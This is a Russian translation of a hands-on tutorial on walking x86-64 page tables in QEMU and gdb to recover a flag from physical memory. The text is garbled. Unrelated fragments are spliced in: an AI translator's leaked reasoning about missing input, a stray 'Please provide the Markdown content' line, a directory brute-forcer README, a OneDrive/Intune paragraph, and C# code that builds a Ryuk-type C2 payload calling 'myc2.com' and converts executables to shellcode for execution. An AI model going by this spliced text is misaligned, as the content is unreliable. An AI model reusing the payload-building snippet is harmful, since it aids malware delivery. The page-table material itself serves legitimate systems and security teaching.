
Вручную исследуйте таблицы страниц x86-64 в qemu и gdb. Разложите виртуальный адрес, проследуйте через cr3 по всем уровням физической памяти и извлеките флаг из сырых байтов.
Вы читали о страничной организации памяти. Диаграммы кажутся понятными. Четыре уровня, по 9 бит каждый, страничный кадр, смещение. Конечно. Но затем вы сталкиваетесь с задачей, которая требует реального обхода таблиц страниц, и вы понимаете, что вы не знаете это. Вы знаете об этом. Большая разница.
Что сработало для меня — это сидеть перед QEMU и gdb и выполнять обход самостоятельно: вычислять каждый индекс, читать каждую запись из физической памяти, вручную следовать по каждому указателю. Один такой полдень может научить большему, чем часы лекций.
Это сборник моих заметок из этого процесса. Если вам всё ещё не хватает концептуальной стороны, сначала посмотрите лекцию Зардуса об управлении памятью ядра. Это теория. А это лабораторная работа.
Цель: взять виртуальный адрес и проследить его через сырую физическую память, пока не найдём данные. Никаких вспомогательных средств ядра. Никаких абстракций. Просто виртуальная машина QEMU, gdb и сырая физическая память.
К концу страничная организация памяти не будет чем-то, о чём вы читали, это будет то, что вы знаете, потому что сделали это вручную.
Предварительно собранные ядро и initramfs включены. Я запускал это в Fedora, но любая ОС, на которой работают QEMU и gdb, подойдёт. Установите их с помощью вашего менеджера пакетов:```
sudo apt install qemu-system-x86 gdb
sudo dnf install qemu-system-x86 gdb
brew install qemu gdb
### Бинарный файл задачи
Цель — простая программа на C, которая хранит флаг в памяти и выводит его
виртуальный адрес:```c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
char secret[] = "FLAG{p4g3_t4bl3_w4lk3r}";
printf("secret @ %p\n", (void *)secret);
printf("pid = %d\n", getpid());
printf("Spinning. Walk the page tables to find the flag.\n");
while (1)
{
}
}
Цикл ожидания (busy loop) является намеренным. Изначально я использовал pause(), но это переводит процесс в сон через системный вызов: когда gdb останавливает VM, процессор, вероятно, выполняет задачу простоя (idle task) с другим CR3. Цикл ожидания удерживает процесс на процессоре, поэтому остановка гарантирует, что вы находитесь в контексте этого процесса с правильными таблицами страниц.
Предварительно собранный initramfs с этим бинарником уже включён в initramfs.cpio.gz. Если вам нужно пересобрать его (только Linux, требуется busybox и glibc-static), запустите make в этой директории.
./start.sh
Сценарий загружает прилагаемое ядро и initramfs в QEMU с `-s`
(сервер gdb на `localhost:1234`) и `nokaslr`, чтобы адреса ядра оставались
фиксированными между запусками.
Виртуальная машина загружается немедленно, и запускается исполняемый файл задачи. Вы увидите виртуальный
адрес флага, выведенный в консоль.```
secret @ 0x7ffe08985c90
pid = 1
Spinning. Walk the page tables to find the flag.
Запишите этот виртуальный адрес. Это ваша цель.

Клавиша выхода QEMU по умолчанию —
Ctrl-a, но она конфликтует с моим префиксом tmux, поэтому скрипт использует-echr 0x11для переназначения наCtrl-q. Если вы используетеCtrl-qдля чего-то другого, измените шестнадцатеричное значение вstart.shв соответствии с вашей настройкой.
Во втором терминале:``` gdb -ex "target remote :1234"

---
## Разбор виртуального адреса
У вас есть виртуальный адрес. Но где же данные, _на самом деле_?
Виртуальные адреса — это вежливая фикция операционной системы. Каждый процесс думает, что у него есть своя собственная частная память, начинающаяся с нуля. В реальности данные находятся в совершенно несвязанном месте в физической RAM. Таблица страниц — это карта между ними: древовидная структура, которую CPU обходит при каждом обращении к памяти (или ищет в своем кэше TLB).
Итак, давайте сделаем то, что делает CPU. Вручную. Чтобы перевести этот адрес, нам нужно разложить его на индексы, которые CPU использует на каждом уровне.
Виртуальный адрес x86-64 имеет ширину 48 бит. Эти 48 бит разделены на пять полей:```
63 48 47 39 38 30 29 21 20 12 11 0
┌────────┬────────┬────────┬────────┬────────┬──────────┐
│ sign │ PGD │ PUD │ PMD │ PT │ Offset │
│ extend │ index │ index │ index │ index │ │
│ (16b) │ (9b) │ (9b) │ (9b) │ (9b) │ (12b) │
└────────┴────────┴────────┴────────┴────────┴──────────┘
Каждый 9-битный индекс выбирает одну из 512 записей в таблице страниц на этом уровне. 12-битное смещение выбирает байт в пределах конечной страницы размером 4 КБ (0x1000).
Для извлечения индексов выполните сдвиг и маскирование:``` PGD index = (VA >> 39) & 0x1FF PUD index = (VA >> 30) & 0x1FF PMD index = (VA >> 21) & 0x1FF PT index = (VA >> 12) & 0x1FF Offset = VA & 0xFFF
В gdb вы можете вычислить их напрямую:```
(gdb) p/x (0x7ffe08985c90 >> 39) & 0x1ff
$1 = 0xff
(gdb) p/x (0x7ffe08985c90 >> 30) & 0x1ff
$2 = 0x1f8
(gdb) p/x (0x7ffe08985c90 >> 21) & 0x1ff
$3 = 0x44
(gdb) p/x (0x7ffe08985c90 >> 12) & 0x1ff
$4 = 0x185
(gdb) p/x 0x7ffe08985c90 & 0xfff
$5 = 0xc90
Запишите их. Вы будете использовать каждый на соответствующем уровне.
Ваши значения будут отличаться. Адрес
0x7ffe08985c90— всего лишь пример. Используйте тот адрес, который напечатала ваша бинарная программа с задачей.
Примечание о 5-уровневой страничной адресации. Современные CPU и ядра поддерживают LA57, что добавляет пятый уровень (PML5) над PGD и расширяет виртуальные адреса до 57 бит. Обход выполняется по тому же шаблону: ещё один 9-битный индекс, ещё один поиск по таблице. Большинство систем всё ещё используют 4-уровневую страничную адресацию. Вы можете проверить свою:
cat /proc/cpuinfo | grep la57. Всё в этой статье предполагает 4 уровня.
У каждого дерева есть корень. Для таблиц страниц этот корень находится в регистре CR3: он хранит физический адрес таблицы верхнего уровня — PGD. Каждый процесс получает своё собственное значение CR3, ядро меняет его при переключении контекста.
Это наша точка входа в обход. Прочитайте его в gdb:``` (gdb) info registers cr3 cr3 0x66c7000 [ PDBR=26311 PCID=0 ]
База таблицы страниц — `0x66c7000`. Младшие 12 бит — это PCID/флаги (здесь нули), поэтому базовый адрес — это значение как есть.
Отсюда начинается обход.
---
## Обход
Вот хитрость: каждый уровень следует одному и тому же шаблону. Флаги немного различаются между уровнями, но процесс — нет. Шаблон:
1. **Вычисление адреса записи:** `base + index * 8` (каждая запись — 8 байт)
2. **Чтение записи из физической памяти** с помощью команды `xp` монитора QEMU
3. **Декодирование флагов** (см. справочную информацию ниже). Если Present (бит 0) равен 0, страница не отображена, и обход останавливается
4. **Извлечение базы следующей таблицы:** маскирование записи с помощью `& 0x000FFFFFFFFFF000`
5. **Переход на следующий уровень**
Каждая запись — 64 бита. Общие биты флагов:```
Bit Name Meaning when set
0 Present Page/table is mapped
1 Read/Write Writable
2 User/Supervisor Accessible from userspace
3 Write-Through Write-through caching
4 Cache Disable Caching disabled
5 Accessed CPU has read this entry
6 Dirty CPU has written to the page (final level only)
7 Page Size 1 GB page (PUD) or 2 MB page (PMD)
63 NX No-execute
Биты [51:12] содержат физический адрес следующей таблицы (или страничного кадра на конечном уровне). Биты 9-11 игнорируются аппаратурой и доступны для использования ОС. Linux использует их для служебных целей (например, для отслеживания "мягких грязных" страниц). Биты 52-62 зарезервированы. Вы встретите оба этих значения при чтении PTE в описаниях эксплойтов.
Держите эту таблицу флагов под рукой во время обхода.
Поехали.
У нас есть базовый адрес PGD из CR3: 0x66c7000.
Наш индекс PGD: 0xff.
Вычислите адрес записи:``` entry = 0x66c7000 + 0xff * 8 = 0x66c77f8
Прочитайте его из gdb с помощью команды осмотра физической памяти QEMU:```
(gdb) monitor xp/1gx 0x66c77f8
000000066c77f8: 0x0000000006713067
Entry: 0x6713067 [Present RW User Accessed Dirty].
Next base: 0x6713067 & 0x000FFFFFFFFFF000 = 0x6713000.
Извлеченная из записи PGD база (0x6713000) указывает на PUD. Тот же процесс, следующий индекс: 0x1f8.```
entry = 0x6713000 + 0x1f8 * 8 = 0x6713fc0
" wait no, it ends with "INPUT:" and then the next line is "You are a specialised..." That's part of the system prompt? No, the user message ends with "INPUT:" and then the assistant's response? Actually the conversation: User message: "Translate the following Kitploit tool content. This is chunk 27 of 69 from a longer Markdown document being translated in sequence. The source language is en. Target language: ru. Content type: README chunk 27/69.
CHUNK-SPECIFIC RULES:
... [rules]
INPUT:"
Then the assistant (me) is supposed to output the translation. But there is no content after "INPUT:" Possibly the user intended to paste the chunk but forgot. I should not assume. The safest is to output nothing. But the instruction says "Return ONLY the translated text." If there is no input, there is nothing to translate. So I'll output nothing. However, the system might expect a response. I'll output a blank line? But that might be considered adding something. Better to simply not respond? But I must respond. I'll output nothing. In markdown, that would be an empty string. I'll do that.```
(gdb) monitor xp/1gx 0x6713fc0
00000006713fc0: 0x00000000066ac067
Запись: 0x66ac067 [Present RW User Accessed Dirty]. Размер страницы (бит 7) = 0, не 1 ГБ гигантская
страница.
Следующая база: 0x66ac067 & 0x000FFFFFFFFFF000 = 0x66ac000.
База: 0x66ac000. Индекс PMD: 0x44.```
entry = 0x66ac000 + 0x44 * 8 = 0x66ac220
[](https://www.python.org/downloads/)
[](https://github.com/victor-espada/AutoDir/actions)
[](LICENSE)
AutoDir — это мощный инструмент для подбора директорий методом перебора, написанный на Python, предназначенный для веб-разведки и оценки безопасности.
## Особенности
* **Быстрый и эффективный** — асинхронный ввод-вывод для высокоскоростного перечисления директорий```
(gdb) monitor xp/1gx 0x66ac220
000000066ac220: 0x00000000066c4067
Entry: 0x66c4067 [Present RW User Accessed Dirty]. Размер страницы (бит 7) = 0, это не 2 MB huge
страница.
Следующий базовый адрес: 0x66c4067 & 0x000FFFFFFFFFF000 = 0x66c4000.
Базовый адрес: 0x66c4000. Индекс PT: 0x185.```
entry = 0x66c4000 + 0x185 * 8 = 0x66c4c28
- **RDI (рефлективный загрузчик)** — Пример создания рефлективного DLL-инжектора из PE-файла.
- В `donut` рефлективный загрузчик по сути является безголовым PE-загрузчиком. Используя наш пример `RDI`, мы можем преобразовать любой `unmanaged` PE или `dotnet` PE в позиционно-независимый код.
- Вот пример преобразования PE в шелл-код с использованием `donut`:
// Create a new Donut instance from the default config. var donut = DonutPayload.FromDefaultConfig(); // The RDI generator uses the donut tool under the hood to convert arbitrary PEs into shellcode. var rdi = new RdiPayload(peBytes, donut); rdi.Craft();
- Если мы хотим преобразовать `dotnet`-бинарник в шелл-код, процесс включает в себя сначала преобразование управляемой сборки в неуправляемый нативный бинарник.
// This is done automatically using the donut tool: when we create a C2Payload and choose shellcode output, the default format is donut.
var exe = new C2Payload(C2Type.Ryuk, "https://myc2.com");
exe.CreateNativeBinary(); // This generates a native binary from the managed one.
// Then we can convert to shellcode by using the RDI payload.
var rdi = new RdiPayload(exe.Bytes, donut);
rdi.Craft(); // This will ultimately produce shellcode that we can execute using D/Invoke.
(gdb) monitor xp/1gx 0x66c4c28
000000066c4c28: 0x80000000037fd867
```
Entry: `0x80000000037fd867` [Present RW User Accessed Dirty NX]. This is the
final PTE.
Physical page frame: `0x80000000037fd867 & 0x000FFFFFFFFFF000` =
`0x37fd000`.
### Что если Present = 0?
Давайте посмотрим, что происходит, когда обход попадает на неотображенную страницу. Выберите адрес, который почти наверняка не отображен, что-то в середине адресного пространства:```
(gdb) p/x (0x0000414141414000 >> 39) & 0x1ff
$1 = 0x82
```
#### Переменные окружения```
(gdb) monitor xp/1gx 0x66c7000 + 0x82 * 8
00000000066c7410: 0x0000000000000000
```
Все нули. Бит 0 (Present) сброшен. Обход останавливается здесь. Нет ни PUD, ни PMD, ни PT, ни страничного кадра. Этот адрес не отображается на физическую память.
Если бы CPU наткнулся на это во время нормального выполнения, он бы вызвал **страничную ошибку** (прерывание 14). Обработчик ошибок ядра затем решил бы, что делать: загрузить страницу с диска (swap), выделить новую страницу (подкачка по требованию) или завершить процесс с ошибкой сегментации.
Суть в том, что таблица страниц — это не просто структура трансляции. Это также механизм, который делает виртуальную память _виртуальной_. Не каждому адресу обязательно иметь за собой физическую память. CPU обнаруживает это во время обхода, уровень за уровнем.
---
## Раскрытие
Объедините физический страничный кадр со смещением из исходного виртуального адреса:```
Physical address = 0x37fd000 | 0xc90 = 0x37fdc90
```
Теперь прочитайте:```
(gdb) monitor xp/6bx 0x37fdc90
00000000037fdc90: 0x46 0x4c 0x41 0x47 0x7b 0x70
```
Это `F`, `L`, `A`, `G`, `{`, `p`: начало нашего флага. Читать далее:```
(gdb) monitor xp/24bx 0x37fdc90
00000000037fdc90: 0x46 0x4c 0x41 0x47 0x7b 0x70 0x34 0x67
00000000037fdc98: 0x33 0x5f 0x74 0x34 0x62 0x6c 0x33 0x5f
00000000037fdca0: 0x77 0x34 0x6c 0x6b 0x33 0x72 0x7d 0x00
```
Please provide the Markdown content to translate.```
FLAG{p4g3_t4bl3_w4lk3r}
```

Вот оно. Вы только что сделали то, что процессор делает миллиарды раз в секунду, но сделали это вручную, читая сырые байты из физической памяти. Четыре таблицы вглубь, ничего не скрыто за абстракцией.
Раньше страничная организация была диаграммой в слайд-деке. Теперь это последовательность чтений, которую вы можете воспроизвести в уме: base, index, shift, mask, follow. Эта разница важна, когда вы смотрите на эксплойт ядра и должны рассуждать о том, что на самом деле делает запись в PTE.
Вы можете проверить результат с помощью команды монитора QEMU `gva2gpa` (гостевой виртуальный адрес к гостевому физическому адресу), которая выполняет обход внутренне:```
(qemu) gva2gpa 0x7ffe08985c90
gpa: 0x37fdc90
```
## Флаги и разрешения
Мы декодировали флаги на каждом уровне во время прохождения, но пропустили то, что они означают для безопасности. Посмотрите на финальный PTE:```
0x80000000037fd867
```
2. **Нативное перенаправление папок OneDrive и интеграция с Intune:**
Полноценная поддержка бесшовной интеграции с OneDrive через нативное перенаправление папок перемещает известные папки Windows в OneDrive без вмешательства пользователя. С помощью политики *Silently move Windows known folders to OneDrive* такие папки, как Desktop, Documents, Pictures, Screenshots и Camera Roll, автоматически перенаправляются в OneDrive. Эта возможность интегрирована непосредственно в Intune, что означает отсутствие необходимости в пользовательских сценариях или сторонних инструментах. Пользователи получают привычный опыт, а ИТ-администраторы могут управлять всем из единой консоли, упрощая обслуживание и контроль.```
Bit 0 (Present) = 1 Page is in physical memory
Bit 1 (Read/Write) = 1 Page is writable
Bit 2 (User/Supervisor)= 1 Accessible from user mode
Bit 3 (Write-Through) = 0 Write-back caching
Bit 4 (Cache Disable) = 0 Caching enabled
Bit 5 (Accessed) = 1 CPU has read this page
Bit 6 (Dirty) = 1 CPU has written to this page
Bit 7 (Page Size) = 0 4 KB page (not huge)
Bit 63 (NX) = 1 No-Execute: cannot run code from this page
```
Это логично: секрет — переменная в стеке. Стек доступен для чтения, записи и является грязным (в него производилась запись). Он помечен как неисполняемый, потому что современные системы соблюдают W^X: страница, доступная для записи, не должна быть исполняемой.
Флаги на каждом уровне логически умножаются (AND) аппаратно. Если запись PUD имеет User=0, то всё, что ниже, недоступно пользователю, независимо от того, что говорит PTE. Действует наиболее ограничительное разрешение.
---
## TLB: когда ЦП пропускает обход
Четыре чтения из памяти только для доступа к одному байту. Это дорого. На самом деле ЦП не обходит таблицу страниц при каждом обращении к памяти. Он кэширует результат в **буфере ассоциативной трансляции (TLB)**.
После первого обращения к виртуальному адресу нашего флага ЦП сохраняет отображение `0x7ffe08985c90 -> 0x37fdc90` (приблизительно) в TLB. Последующие обращения попадают в кэш и полностью пропускают обход. Таблица страниц остаётся нетронутой в RAM.
Это прозрачно для обычного кода. Но это имеет значение в тот момент, когда вы _изменяете_ запись таблицы страниц. Если вы запишете новый физический адрес в PTE, ЦП этого не заметит: TLB всё ещё содержит старое отображение. Вам нужно явно сбросить его.
Ядро делает это с помощью инструкции `invlpg`, которая аннулирует запись TLB для одного виртуального адреса. Вызовите `mprotect` из пользовательского пространства, и вот что происходит под капотом: ядро обновляет флаги PTE, затем сбрасывает TLB, чтобы ЦП получил новые разрешения.
Это имеет прямые последствия для безопасности. В эксплойте ядра, если вам удастся записать в PTE (например, сбросив бит NX, чтобы сделать стек исполняемым), вам также потребуется сбросить TLB, прежде чем ЦП примет изменение. Иногда ядро делает это за вас как побочный эффект вызванного вами пути кода. Иногда вам нужно организовать это самостоятельно. В любом случае, вам нужно знать, что TLB существует, иначе ваш эксплойт работает в теории, но не на практике.
---
## Большие страницы: когда обход заканчивается рано
В приведённом выше обходе мы прошли все четыре уровня. Но обход может закончиться раньше, если установлен бит размера страницы (бит 7).
**На уровне 3 (PUD):** Если бит 7 установлен, запись напрямую отображает страницу размером 1 ГБ. Физический адрес берётся из записи, а биты [29:0] виртуального адреса становятся смещением (30 бит = 1 ГБ).
**На уровне 2 (PMD):** Если бит 7 установлен, запись отображает страницу размером 2 МБ. Биты [20:0] виртуального адреса становятся смещением (21 бит = 2 МБ).
Вы часто будете видеть большие страницы в отображениях ядра. Область прямого отображения ядра (`0xffff888000000000` в большинстве 64-битных ядер) часто использует страницы размером 2 МБ или 1 ГБ для снижения нагрузки на TLB.
Если во время обхода вы встретите большую страницу, формула меняется:```
2 MB page: phys = (PMD_entry & 0x000FFFFFFFE00000) | (VA & 0x1FFFFF)
1 GB page: phys = (PUD_entry & 0x000FFFFFC0000000) | (VA & 0x3FFFFFFF)
```
---
## Автоматизация обхода
Теперь, когда мы знаем процесс, давайте закодируем его. `pagewalk.py` — это
gdb Python скрипт, который выполняет тот же обход, который мы только что сделали. Основная логика умещается в одной функции:```python
ADDR_MASK = 0x000FFFFFFFFFF000
def read_phys(addr):
"""Read a 64-bit value from guest physical memory via QEMU monitor."""
result = gdb.execute(f"monitor xp/1gx {addr:#x}", to_string=True)
return int(result.strip().split(":")[1].strip(), 16)
def pagewalk(va):
cr3 = int(gdb.parse_and_eval("$cr3"))
pgd_base = cr3 & ADDR_MASK
# Decompose the virtual address
pgd_idx = (va >> 39) & 0x1FF
pud_idx = (va >> 30) & 0x1FF
pmd_idx = (va >> 21) & 0x1FF
pt_idx = (va >> 12) & 0x1FF
offset = va & 0xFFF
# Walk: each level is the same pattern
pgd_entry = read_phys(pgd_base + pgd_idx * 8)
if not (pgd_entry & 1): return None # Not present
pud_base = pgd_entry & ADDR_MASK
pud_entry = read_phys(pud_base + pud_idx * 8)
if not (pud_entry & 1): return None
if pud_entry & (1 << 7): # 1 GB huge page
return (pud_entry & 0x000FFFFFC0000000) | (va & 0x3FFFFFFF)
pmd_base = pud_entry & ADDR_MASK
pmd_entry = read_phys(pmd_base + pmd_idx * 8)
if not (pmd_entry & 1): return None
if pmd_entry & (1 << 7): # 2 MB huge page
return (pmd_entry & 0x000FFFFFFFE00000) | (va & 0x1FFFFF)
pt_base = pmd_entry & ADDR_MASK
pt_entry = read_phys(pt_base + pt_idx * 8)
if not (pt_entry & 1): return None
return (pt_entry & ADDR_MASK) | offset
```
Полный скрипт (с декодированием флага и красивым выводом) находится в `pagewalk.py`.
Используйте его, чтобы проверить результаты ручного разбора или исследовать другие адреса:```
(gdb) source ./pagewalk.py
Page walk command loaded. Usage: pagewalk <virtual-address>
(gdb) pagewalk 0x7ffe08985c90
Decoded Virtual Address:
PGD=0x0ff
PUD=0x1f8
PMD=0x044
PT=0x185
Offset=0xc90
CR3: 0x00000000066c7000
PGD[0x0ff]: 0x0000000006713067 [Present RW User Accessed Dirty]
PUD[0x1f8]: 0x00000000066ac067 [Present RW User Accessed Dirty]
PMD[0x044]: 0x00000000066c4067 [Present RW User Accessed Dirty]
PT[0x185]: 0x80000000037fd867 [Present RW User Accessed Dirty NX]
Physical address: 0x00000000037fdc90
```

Обратите внимание, как скрипт проверяет наличие больших страниц на уровнях PUD и PMD перед продолжением обхода. Это та же логика, которую мы обсуждали в разделе больших страниц: если установлен бит PageSize (бит 7), обход завершается раньше, и смещение становится шире.
Попробуйте выполнить обход адреса функции: вы увидите, что бит NX сброшен (код должен быть исполняемым). Попробуйте раздел данных только для чтения: вы увидите, что бит R/W сброшен.
---
## Чтение физической памяти без QEMU
На протяжении этого упражнения мы использовали `monitor xp` для прямого чтения физической памяти. Это работает, потому что монитор QEMU находится за пределами виртуальной машины и может обращаться к физическому адресному пространству гостя. В реальном эксплойте у вас нет такой роскоши.
Ядро решает эту проблему для себя с помощью **области прямого отображения**: непрерывного виртуального отображения _всей_ физической RAM. На x86-64 эта область традиционно начинается с `0xffff888000000000`, но при включенном KASLR база рандомизируется. Ядро хранит фактическую базу в символе с именем `page_offset_base`.
Мы загрузились с параметром `nokaslr`, поэтому база находится по умолчанию. Давайте подтвердим:```
(gdb) x/s 0xffff888000000000 + 0x37fdc90
0xffff888037fdc90: "FLAG{p4g3_t4bl3_w4lk3r}"
```
Та же физическая память, доступная через виртуальный адрес ядра. Так ядро само читает произвольную физическую память: `phys_to_virt()` — это просто `page_offset_base + phys_addr`.
Это также причина, по которой эксплойты ядра заботятся об утечке `page_offset_base`. Если KASLR включен, вы не знаете, где начинается прямое отображение, поэтому не можете преобразовывать физические адреса в виртуальные адреса ядра. Утечка базы позволяет читать или записывать любой физический адрес через прямое отображение, включая сами записи таблиц страниц.
---
## Поиск таблиц страниц другого процесса
Наша настройка гарантировала, что CR3 указывает на таблицы страниц исполняемого файла задачи, когда gdb приостановил ВМ. Но что если вам нужно пройти по таблицам страниц _другого_ процесса?
Значение CR3 каждого процесса хранится в его `task_struct`. Путь:```
task_struct -> mm_struct -> pgd -> physical page
```
В gdb с символами ядра вы можете найти task_struct процесса init (PID 1) и извлечь его корень таблицы страниц:```
(gdb) p/x init_task.mm->pgd
$1 = 0xffff8880066c7000
```
Это виртуальный адрес ядра в прямом отображении. Уберите базовый адрес, чтобы получить физический адрес:```
0xffff8880066c7000 - 0xffff888000000000 = 0x66c7000
```
Это тот же CR3, с которого мы начали, что имеет смысл: наш бинарный файл задачи _является_ PID 1 в этом минимальном initramfs.
Для других процессов вы бы прошлись по списку задач (связный список `init_task.tasks`), нашли цель и извлекли её `mm->pgd` таким же образом. Каждый процесс имеет своё собственное дерево таблиц страниц, укоренённое в его собственном CR3. Ядро меняет CR3 при каждом переключении контекста, давая каждому процессу иллюзию частной памяти.
---
## Что это значит
Если вы дошли до этого момента, фактически выполнив обход (а не просто читая), у вас теперь есть то, что не может дать ни одна диаграмма: интуитивное понимание того, как память на самом деле работает на уровне оборудования. Вот где эта интуиция окупается:
**ASLR рандомизирует виртуальный адрес, а не обход.** Структура таблицы страниц всегда одинакова: четыре уровня, по 512 записей, та же разметка битов. ASLR изменяет вычисляемые индексы, но процесс идентичен.
**W^X обеспечивается в таблице страниц.** Бит R/W и бит NX в PTE — это то, что заставляет `mprotect` работать. Когда эксплойт пытается выполнить шелл-код в стеке, CPU проверяет бит NX во время трансляции и вызывает ошибку.
**SMEP и SMAP проверяют бит User.** Supervisor Mode Execution/Access Prevention проверяет бит User/Supervisor на всех уровнях таблицы страниц. Если какая-либо запись помечает адрес как пользовательский режим и код ядра пытается выполнить или получить к нему доступ, CPU вызывает ошибку. Вот почему современные эксплойты ядра не могут просто перейти на шелл-код в userspace.
**Эксплойты ядра часто нацелены напрямую на таблицы страниц.** Если вы можете записать в PTE, вы можете изменить, на какую физическую память отображается виртуальный адрес, изменить разрешения или переназначить память ядра как доступную для пользователя. Понимание обхода — это понимание поверхности атаки.
**KPTI разделяет таблицу страниц на две.** Вместо одного набора таблиц страниц на процесс теперь их два: один для пользовательского режима (почти все страницы ядра не отображены) и один для режима ядра (со всем). Ядро меняет CR3 при каждом входе и выходе из системного вызова. Вы можете наблюдать это: остановите VM, находясь в userspace, и прочитайте CR3, затем установите точку останова на входе системного вызова и снова прочитайте CR3. Они будут различаться. Таблица страниц пользовательского режима просто не содержит записей для памяти ядра, поэтому нечего утекать, даже если обход завершён.
В следующий раз, когда в описании эксплойта ядра будет упомянуто "переназначение таблиц страниц", это не будет абстракцией. Вы будете точно знать, о каких байтах идёт речь, потому что вы сами их прочитали.
---
## Дополнительное чтение
- [Understanding Paging](https://blog.zolutal.io/understanding-paging/): руководство, которое вдохновило это. Эта статья пытается продвинуть исследование немного дальше, но именно с этого всё началось для меня
- [Intel SDM, Volume 3A, Chapter 4: "Paging"](https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html): авторитетный справочник (на удивление читабельный после того, как вы выполнили обход вручную)
- [pwn.college: Kernel Security](https://pwn.college/system-security/kernel-security/): задачи, которые заставили меня на самом деле исследовать эту тему, настоятельно рекомендую